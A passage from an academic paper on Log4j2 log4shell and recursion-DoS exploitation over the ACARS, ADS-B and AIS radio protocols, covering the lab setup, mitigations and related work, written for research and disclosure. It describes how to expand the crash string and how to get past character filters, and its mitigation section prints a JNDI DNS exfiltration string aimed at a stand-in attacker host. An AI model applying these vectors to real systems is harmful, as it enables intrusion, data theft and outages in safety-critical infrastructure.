hosts-file, we intentionally bound the hostname ‘‘a’’ to mer-
lin’s IP 10.0.2.15, hence simulating a DNS-poisoning pre-
attack. Therefore, in our wireless experiments, we did not use
the minimal vector because we pursued using default soft-
ware configurations, and assumed no additional pre-attack
conditions atop the prerequisites presented before. The con-
catenated log4shell vector uses the RMI protocol targeting
classes ‘‘a’’ and ‘‘b’’ in the two different attacker VMs,merlin
and morgan. In practice, the vic victim’s software selection
was assumed equally vulnerable to attacks using any of the
vectors in Table 3 upon successful transmission.
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TABLE 3. Summary of attack vector strings.

TABLE 4. Summary of central commands.

For log4crash we used only one string, intended to induce
infinite recursion, potentially resulting in a software crash.
An infinite recursion-causing string was initially discovered
by Ross Cohen [42], which we were able to truncate to just
11 characters to the form presented in Table 3. The vector
does not require an attacker to have control over Thread
Context Map (TCM) variables like CVE-2021-45105 does,
and it works in default logging patterns. In our ‘‘dry runs’’ of
the vectors against log4stdinwithout the use of air interfaces,
we discovered that the minimal log4crash vector could be
expanded by repeatedly wrapping the inner layer ‘‘$${:-}’’
with ‘‘${:-’’ and ‘‘}’’ to cause resource starvation and
crashing log4stdin. However, this required an untenable
amount of wrapping of approximately 3 000 layers in our
experimental setting on a VMwith 1GB of RAM, amounting
to a payload of approximately 16 kB in size. With 16GB of
RAM, a payload with one million wrappings, approximately
5MB in size, was able to induce a software crash.

By testing Log4j2 versions 2.0-beta9 through 2.17.2 we
experimentally confirmed that this vector can crash at
least versions 2.8.1 through 2.12.1, 2.13.0 through 2.13.3,
and 2.14.1. Other versions, such as 2.6 through 2.7 and
2.14.0, yielded mixed results with log4stdin, and their
vulnerability assessment was inconclusive. This DoS
vector targeting default configuration was at the time
of manuscript writing an untracked vulnerability and
a novel finding.2 Its calculated vulnerability vector is
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, yield-
ing a CVSSv3.1 score of 7.5 for a high-severity vulnerability.
A notable difference to CVE-2021-45105 is adjusting the

2The Apache Security Team was informed of the findings prior to pub-
lishing this paper.

attack complexity (AC) metric from ‘‘high’’ to ‘‘low,’’ as the
only complexity associated with exploiting the vulnerability
is the size of the payload string. As characterized before,
adding layers of recursion only appends string complexity by
literal bytes but enables ever-increasing resource starvation.

The use of this expanded vector was dismissed in our over-
the-air experiments owing to its comparatively large payload
size, which would not be a practical fit for the ACARS,
ADS-B, and AIS carriers. Even though the payload is awk-
ward for our chosen protocols to carry, other similar wireless
protocols could be used to transmit such a payload with ease,
which is a potential subject of future research.

D. ACARS FRONTEND
For ACARS experiments, we used a forked version of
acarsdec, a popular open-source POA decoding software.
It receives as input unsigned 8-bit integers from an RTL-SDR
device and produces as output decoded ACARS messages
(e.g., printed to stdout). By default, acarsdec only allows
reception of POA in the band 118–138MHz. To avoid using
the official airband, we forked acarsdec [37] to enable recep-
tion up to 438MHz, and then we used the ISM-band for
experimental transmissions. The victim’s ACARS frontend
was monostatic, i.e., both the receiver software and the vul-
nerable logging software were run on the same VM.

To transmit ACARS messages, a set of GNUOctave
scripts compatible with MatLab [35] was developed. The
scripts enable generation of POA waveforms with arbitrary
payloads. Parity bit calculation, LSB conversion, CRC cal-
culation, NRZ-S line coding, MSK generation, AM wrap-
ping, and finally outputting HackRF compatible signed 8-bit
IQ-waveforms are performed programmatically. The initial
attack vector string is incorporated into ACARS free-text
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FIGURE 3. The attacker merlin’s singular vector via ACARS. Top terminal: attack waveform RF transmission. Middle terminal: class injection procedure.
Bottom terminal: remote shell connection to the victim vic.

field. We tested all the strings presented in Table 3 with
ACARS with a central carrier frequency of 433.800MHz.

The attack chain and end-to-end RCE via ACARS proved
successful, as is demonstrated with the singular vector in
Fig. 3 depicting a reverse shell connection from the attacker
merlin to the victim vic. Likewise, the successful use of the
concatenated vector via ACARS is demonstrated in Fig. 4,
depicting a reverse shell connection from the attackermorgan
to the victim vic.Merlin transmitted the concatenated vector,
which simultaneously invoked two reverse shell connections
to both merlin and morgan. Vic’s setup was identical in all
demonstrations. As expected after the successful transmit-
tance of log4shell vectors, the ACARS wireless link was
equally capable of carrying the log4crash string presented in
Table 3. The string resulted in infinite recursion in log4stdin,
throwing a recoverable exception, which did not result in
resource starvation or a software crash in our experimental
environment. The log4crash vector still resulted in an erro-
neous internal state of the victim’s software, thus proving the
existence of attack surface for a one-way DoS attack.

E. ADS-B FRONTEND
For ADS-B experiments, we developed dump1090-df24elm,
a forked version of dump1090 for ADS-B reception [38].
dump1090-df24elm enables the reception and decoding of
DF24ELM messages, the contents of which are interpreted
as ASCII bytes, which can be output to stdout or to log files.
Similar to the acarsdec, for dump1090-df24elm transmission,
reception and testing, we used an ISM-band central fre-
quency of 433.800MHz. As was the case with ACARS, our
ADS-B frontend setup was monostatic. The attack waveform
was created with the methodology and tools that our group
developed and published earlier [26], [28]. The waveform
carried the LDAP vector with an explicit port presented in
Table 3. The exploitability of ADS-B DF24ELM messages
was confirmed, and similarly to our ACARS experiments
(Section III-D), the reception resulted in successful RCE
(log4shell), and DoS (log4crash), respectively.

As a side note, we identified during our research that
dump1090 [43] (including its forks and generally avail-
able ADS-B receiver software) does not have support for
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FIGURE 4. The attacker morgan’s concatenated vector via ACARS induced by merlin. Top terminal: class injection procedure. Bottom terminal: remote
shell connection to the victim vic. Merlin’s attack waveform RF transmission is not depicted.

DF24ELM decoding. In addition, dump1090 [43] (and its
forks) contain an implementation flaw: after bit-slicing and
during decoding, the length of DF24ELM messages is erro-
neously treated as 56 bits,3 whereas the specification for
DF24ELM declares it as 112 bits [44], meaning this can
lead to additional function bugs and potential security vul-
nerabilities (e.g., buffer overruns) in the affected ADS-B
packages from the list. Therefore, to perform the experi-
ments in this paper, we additionally implemented DF24ELM
decoding and logging for our dump1090-df24elm fork. To the
best of our knowledge, this is the first public project to
implement ADS-B DF24ELM reception, decoding, and
processing. Along with the other relevant artifacts of our
experiments, we release our DF24ELM-capable dump1090
fork as open-source [38] and create a pull-request for porting
the DF24ELM-patch to the original dump1090.

F. AIS FRONTEND
As opposed to our ACARS and ADS-B setups, our
experimental AIS setup was bistatic. In other words, the

3The list of affected software can also be found in [38].

radio frontend and the vulnerable backend were logically
separated. Hence, our AIS setup was a truthful emulation of
Fig. 2 from the victim’s perspective, whereas our ACARS and
ADS-B setups arguably ‘‘cut short’’ in the separation of radio
frontends and vulnerable backends. As was the experimen-
tation with various injection payloads, the choice of having
multiple radio frontend setups with increasing complexity
was intentional.

For the victim’s AIS frontend, we prepared an up-to-date
Windows 10 computer with an RTL-SDR dongle connected
to SDR# receiver software. The RTL-SDR was tuned to an
ISM-band frequency of 433.800MHz with a narrowband FM
12.5 kHz receiver. SDR#’s audio output was connected to a
virtual audio interface, which was used as input to a freeware
AIS decoder software called AISMon.

Normally, AISMon is used to listen to AIS-licensed fre-
quencies, but in our setup, we used an ISM-band frequency
of 433.800MHz for the transmissions similarly to our other
ACARS and ADS-B experiments. The AISMon software
output the AIS decoded data to a log file out.log on a
network storage that was shared with the victim’s vulner-
able backend VM vic. In addition to providing a bistatic
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configuration, which allows multiple variations to the experi-
mentation, this arrangement also carries another immediate
benefit: no pieces of software need modification to enable
AIS experimentation using the ISM-band.

For the vic victim’s backend, we used the Debian 11 run-
ning VM. To provide message parsing capabilities for the
victim, we used a Perl script (AIS_parser.pl) contained within
AIS tools by Gary Kessler [45]. The output of the message
parser was then piped into a Perl-based binary-to-ASCII con-
verter (see Section IV-B1), the output of which was finally
piped to log4stdin. This setup provided us with arguably
rudimentary yet functional and realistic real-time means to
transmit and receive AIS messages with binary log4shell
payloads in hexadecimal wrapping, thus circumventing the
6-bit ASCII character set restriction inherent to most parts of
the AIS protocol. The central commands associated with the
victim’s setup are presented in Table 4.

The attack waveform was created with the methodology
and tools that our group developed and published earlier [30].
We used an RMI targeting singular log4shell payload with an
implicit port, as presented in Table 3. The attack payload was
carried in hexadecimal wrapping in theMessage 6 binary data
field. Apart from the attack waveform,merlin’s configuration
was otherwise identical to our ACARS and ADS-B setups.

As expected after the success with ACARS and ADS-B,
AIS was also found to be conditionally capable of carrying
and delivering log4shell payloads over AIS by usingMessage
6. Our AIS experiments resulted in code injection and remote
code exploitation in our experimental setup. A decisive extra
step of using hexadecimal wrapping in payload transmittance
was required to exploit the attack strings. AIS was therefore
shown to be usable as a carrier for log4shell or log4crash
exploits, assuming that suitable decoding procedures and
configurations are in place on the victim’s receiver end.

IV. RESULTS ANALYSIS AND DISCUSSION
The exploitation-prone protocol fields identified in this study
are presented in Table 5. ACARS proved to be an excel-
lent protocol for log4shell initial attack vector transmission.
It allowed seamless transmission of all the vectors shown in
Table 3 in plaintext, without the need of payload wrapping
or character set interpretation. There were no restrictions or
caveats to the exploitation identified using the protocol, and
the text field in ACARS was entirely adequate for log4shell
and log4crash vector transmittance. ADS-B enables attack
vector transmission by using the DF24ELM field whose
payload contents are not fixed to any specific character
set. Consequentially, an ASCII interpretation is required on
the receiver’s end for successful transmission. DF24ELM
is designed for arbitrary payload transmittance. An ASCII
interpretation is within the realm of possibility in an ATS
setting, and we consider ADS-B potentially exploitable in
real-world configurations. On the other hand, the limited 6-bit
ASCII character set of AIS prevents the direct plaintext trans-
mittance of log4shell or log4crash attack vectors. Binary-
wrapped ASCII log4shell or log4crash payloads can still be

delivered using binary transmission supported by the proto-
col. Therefore, we regard AIS as conditionally exploitable,
if certain prerequisites are met, as we further outline in
Section III-F. Our AIS setup raises the possibility of another
means of attack, i.e., targeting the over-the-wire communica-
tion between the radio frontend and the vulnerable backend
via a man-in-the-middle (MITM) attack. MITM attacks are
routine to common cybersecurity discourse and are therefore
not further explored in this paper.

A. MITIGATION
We present plausible mitigation measures common to both
log4shell and log4crash for all the studied protocols in
the setting where the prerequisites for attack, as laid out
in Section III, are in place. Given that software updates
to mission-critical information systems are frequently over-
looked, there could be several vulnerable instances of Log4j2
in any system layer. Therefore, implementation of multi-
layer defense, i.e., ‘‘defense in depth’’ approach, is recom-
mended. At the time of writing, according to Apache [1],
CVE-2021-44228 (and other Log4j2 vulnerabilities, such
as CVE-2021-45105, CVE-2021-44832, and CVE-2021-
45046) can be directly mitigated by updating Log4j2 to
2.3.1 for Java 6, to 2.12.3 for Java 7, or to 2.17.0 for Java
8 and later. Alternatively, for the mitigation of only log4shell
(for all versions, excluding 2.16.0), JNDI lookups can be pre-
vented by removing the corresponding class from the library’s
package.

To further mitigate log4shell, blocking outbound con-
nections to RMI and LDAP’s default ports 1099 and
1389 thwarts implicit vectors, i.e., URIs without an explicit
port. Still, it does not protect against non-default port
connections and explicit vectors. Blocking all outbound
RMI and LDAP network traffic would prevent inadvertent
remote class requests altogether, but would require deep
packet inspection (DPI). Likewise, updating JRE to version
8u121 or later would avoid the direct RCE method pre-
sented in this paper. Since log4shell also allows outbound
DNS calls, even if the direct class injection vulnerability
was mitigated by blocking the RMI and LDAP protocols,
and the direct RCE was mitigated by updating JRE, DNS
lookups could be used to leak information (i.e., by calling
‘‘${jndi:dns://${env:USER}.attacker.tld}’’)
still leaving the victim vulnerable to footprinting atminimum.

Network-level hardening, such as using intrusion detec-
tion or prevention systems (IDS/IPS), could detect or deter
log4shell RCE exploitation attempts. Such IDS/IPS would
not be able to detect or protect against log4crash. Moreover,
the attackers could escape such IDS/IPS via means such as
DNS tunneling [46]. The study of effectiveness using an
IDS/IPS to detect and protect against log4shell in general (and
in ACARS, ADS-B, AIS environments in particular) are left
as future work. Pre-processing raw input data at air interface
and RF boundaries at an early stage could prevent exploita-
tion. Effective hardeningwould have to be implemented at the
RF-to-digital entry point, which would become essentially an
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TABLE 5. Summary of identified exploitable fields.

RF-IDS or RF-IPS tailored for the specific protocols. This is
a promising and interesting research avenue, and we leave it
as future work.

Filtering exploitation vector protocol references
(e.g., ‘‘jndi:,’’ ‘‘rmi:,’’ or ‘‘ldap:’’) on the air interface
(RF-IDS), the network (NIDS), or the application (HIDS)
layers are entirely insufficient, as several ways to circumvent
such filters are known [47]. A practical suggested method is
filtering the characters required for Java EL syntax, namely
the strings ‘‘${’’ and ‘‘}.’’ This method will prevent any
vulnerability exploitation down the line, but the obvious
downside is that data integrity will be intentionally damaged.
However, as is shown in Section III-F with AIS, such filtering
would not block all attack vectors, as layers of encoding,
such as using binary and hexadecimal wrapping, can be
feasibly used for attack string transmittance when character
set limitations or filtering are present. In addition to the
delivery of plaintext hexadecimals, other means of payload
wrapping or character obfuscation could be used, such as
hexadecimal entities (\0 × 7b), unicode entitites (\u7b),
HTML entities (&#123;), or even C-like trigraphs (e.g.,
interpreting ‘‘??<’’ as ‘‘{’’). Depending on the victim’s
backend software implementation, these methods are also
opportune for circumventing character set restrictions, given
that an ACSII interpretation follows. For these reasons we
consider all-encompassing mitigation by character filtering
unrealistic.

Finally, a novel method for log4shell mitigation is to
use the vulnerability to immunize a target system against
exploitation. This method, however, does nothing to address
log4crash. The prerequisites for such an approach are com-
parable to those of our methodology presented in Section III.
For example, Cybereason, a cybersecurity technology com-
pany, provides a tool fittingly named ‘‘logout4shell’’ [48].
This tool attempts to remove JNDI lookup capabilities from
vulnerable library instances as suggested by Apache [1],
thus mitigating the attack vector. While feasibly effective for
mitigating JNDI lookups, this method is not favorable owing
to its inherent capability to intentionally manipulate pieces
of mission-critical information system software. An obvious
drawback of the approach is that while JNDI attack vec-
tors are mitigated, the vulnerable code is still left intact,
potentially making the system vulnerable to other known or
unknown attack vectors.

B. DISCUSSION
In this subsection, we discuss various assumptions, limita-
tions, and possibilities related to the setup, experiments, and
results presented in this study.

1) ASCII INTERPRETATION
When referring to the ASCII interpretation in this paper,
we mean that a particular byte in a payload byte-stream of
a protocol is interpreted according to the ASCII table and
thus the corresponding ASCII character upon its output to a
terminal or a log file. The presence of ASCII interpretation in
some parts of the receiver-processing-backend system chain
represents one of the strongest study assumptions. However,
based on our experience, this assumption is realistic: if the
fields mentioned as binary data or bytes in the specification
were to be interpreted in the backend system, any such binary
data or byte fields would likely be translated to ASCII, to be
printed in logs used by human operators, testers, and devel-
opers of those protocols and software. The assumption posits
a risk assessment check, that can be used in a cybersecurity
assessment: ‘‘Does the system employ any sort of ASCII
interpretation of generic binary/bytes/hex payloads, whether
in the logging mechanisms, log files, or databases?’’

• If the answer is ‘‘YES (likely-YES)’’: the Log4j2 risk
profile is set to high-to-critical.

• If the answer is ‘‘UNKNOWN’’: the Log4j2 risk profile
is set to medium-to-high.

• If the answer is ‘‘NO (likely-NO)’’: the Log4j2 risk
profile is set to medium-to-low.

To test the presence of inadvertent or intentional ASCII
interpretation, we advise employing log4stdin [39].

2) EFFECT ON CROWDSOURCED PROJECTS
Besides the impact on the core nodes of aviation (e.g.,
aircraft, airports, airport vehicles, air traffic control tow-
ers, or satellites) and seafaring (e.g., ships, ports, naval
authorities, or satellites) infrastructures, the presented attack
methodology can be used to target researchers, individuals,
and organizational users of crowdsourced projects. For exam-
ple, for ADS-B data, projects such as OpenSkyNetwork [49]
and FlightRadar24 [50] use global networks of crowdsourced
data collected by contributors using various ADS-B sensor
nodes. Similar projects exist for the global crowdsourcing
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of ACARS and AIS data. Many variations of open-source,
commercial, and do-it-yourself sensor nodes exist, but an
exemplary common sensor node is a Raspberry Pi embed-
ded computing device with an RTL-SDR receiver running
dump1090 software. Such sensor nodes are typically con-
nected to the internet to send and aggregating data in a central
location, making global-scale data available for real-time
consumption via web browsers or APIs. Moreover, the sensor
nodes or the servers they connect to could realistically be
running vulnerable instances of Log4j2 and JRE vulnerable
to RCE. These aforementioned sensor setups fulfill all of
the prerequisites for exploitability of log4shell and log4crash
presented in Section III. Therefore, a conceivable threat is
that a motivated or an opportunistic attacker could perform
‘‘mobile wireless wardriving,’’ transmitting Log4j2 attack
payloads in an attempt to exploit vulnerable sensor nodes.
Drones with SDRs could be used for attacks with a high
level of efficacy, stealth, and automation. In summary, the
threats associated with contemporary aviation and maritime
authorities’ infrastructures extend to crowdsourced projects’
sensor nodes utilizing the same protocols.

V. RELATED WORK
In the exploitation of log4shell, our methods are similar to
those presented by Chierici [51]. Our work simultaneously
confirms the exploitation methodology and expands it with
the introduction of RF-induced attack vectors by unauthen-
ticated and unauthorized remote attackers. In the academia,
Oxford Analytica in their 2021 [52] and 2022 [53] briefs
raised severe concerns regarding repercussions of the titular
Log4j2 vulnerabilities studied in this paper. Our work sub-
stantiates these considerations by demonstrating the potential
for exploitation in mission- and safety-critical systems and
protocols.

Owing to its inherent lack of security features, ACARS
has long been known to be susceptible to both passive
and active attacks. In his 2000 and 2001 papers, Roy [54],
[55] put forward an initiative to include cryptographic
solutions in ACARS to address privacy concerns. Later,
Smith et al. [20], [21], [22] demonstrated that little effort has
been seen by the aviation community and industries to put this
strategy into actual practice. In 2019, Crow et al. [24] demon-
strated arbitrary ACARS transmissions in an all-virtual envi-
ronment. Concerns over the possibility of ACARS spoofing
have also been voiced over the years: by Zhang et al. [23] in
2018, by Lu [56] in 2019, and by Perner and Schmitt [57]
in 2020.

In 2018, Bresteau et al. [58] set up an experiment for
ACARS spoofing that was closely comparable to that of ours.
In their work, commercial SDRs were used as transceivers,
and acarsdec was similarly employed as a software receiver.
The authors used USRPB200 hardware and GNURadio
software as transmitters, whereas in our work, we operated
HackRF hardware with GNUOctave and GNURadio for
signal generation. The difference in transmitter selection is
largely inconsequential. Overall, our presented methodology

is arguably more suitable for further experimentation on
ACARS, ADS-B, and AIS (and similar Critical Infrastructure
protocols) owing to our efforts in using license-free ISM-
band channels for transmissions, and an accordingly forked
software. We have released the forked version of acarsdec
as open-source [37]. Furthermore, by using the POA signal
generation software acarsgen [35] developed for the pur-
pose of this study, previously raised security concerns (such
as those brought forward by Bresteau et al. [58]) could be
experimented on and confirmed in practice.

In 2012, Costin and Francillon [25] showed that ADS-B
spoofing is practically possible and argued that pursuing
safety in aviation is futile as long as insecure communica-
tion protocols are used. Similar results and concerns were
brought up by Strohmeier et al. in 2014 [59]. Recently
in 2021, Khandker et al. [26], [28] expanded on the sub-
ject and depicted in detail further security weaknesses in
the ADS-B protocol and its implementations. Furthermore,
Turtiainen et al. [27] developed a fuzzing platform for the
popular Garmin DataLink 90 (GDL-90) protocol, which is
used between an ADS-B receiver and user interface devices.
Turtiainen et al. [27] tested the security implementations of
several electronic flight bag systems that utilized GDL-90
and were able to crash a significant number of them via
fuzzing. All the aforementioned authors concluded that more
work is required in securing the use of ADS-B in standard
aviation equipment and dependent protocols such asGDL-90.
Our present work is an application and continuation of the
aforementioned research in a new context – to use ADS-B
as a carrier for log4shell and log4crash payloads, which can
potentially be used against information systems in airborne,
spaceborne, or ground nodes.

In 2014, Balduzzi et al. presented a comprehensive secu-
rity evaluation of AIS [29]. In their work, AIS attack vec-
tors were categorized in software-based and radio-based
classes, focusing on customary attacks that specifically
targeted AIS implementations. Similarly to the work by
Bresteau et al. [58] on ACARS spoofing, Balduzzi’s group
used USRPB100 hardware and GNURadio software in over-
the-air AIS spoofing efforts. In 2022, further expanding
on the subject, Khandker et al. [30] comprehensively tested
the resilience of AIS, focusing their paper on the titular
logic and error handling. The authors demonstrated AIS
attacks in practice, some of which were previously presented
by Balduzzi et al. [29]. As was the case with ACARS, our
methodology for AIS spoofing and signal reception is suit-
able for replicating any of the RF vectors presented in the
papers by Balduzzi et al. [29] or Khandker et al. [30]. More
importantly, in this paper, we present novel log4shell and
log4crash vector transmission using AIS as a mere car-
rier, thus expanding the range of potential attacks using the
protocol.

VI. CONCLUSION
In this paper, to the best of our knowledge, we demon-
strate the first end-to-end exploitation of critical Log4j2
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vulnerabilities (principally CVE-2021-44228) over
mission- and safety-critical aviation (ACARS and ADS-B)
and maritime (AIS) protocols. For this purpose, we devel-
oped a systematic methodology to setup, exploit, and val-
idate Log4j2 vulnerabilities with the use of air interfaces.
We demonstrated the feasibility of our methodology and
setup via successful exploitation of log4shell and log4crash
in all the aforementioned protocols. Moreover, to support our
experiments, we developed novel tools. To facilitate further
studies related to Log4j2 attacks on aerospace, aviation, and
maritime infrastructures, we have released relevant artifacts
(e.g., software, documentation, setup, and scripts) as open-
source, complemented by patches for bugs in open-source
software.

A suggested line of future research is the exploitation of the
VDL-M2 link, which can be used to transport ACARS, ADS,
or other protocol payloads. Furthermore, we suggest the use
of nested protocols as payload carriers (e.g., ADS-B inside
ACARS) in future work.
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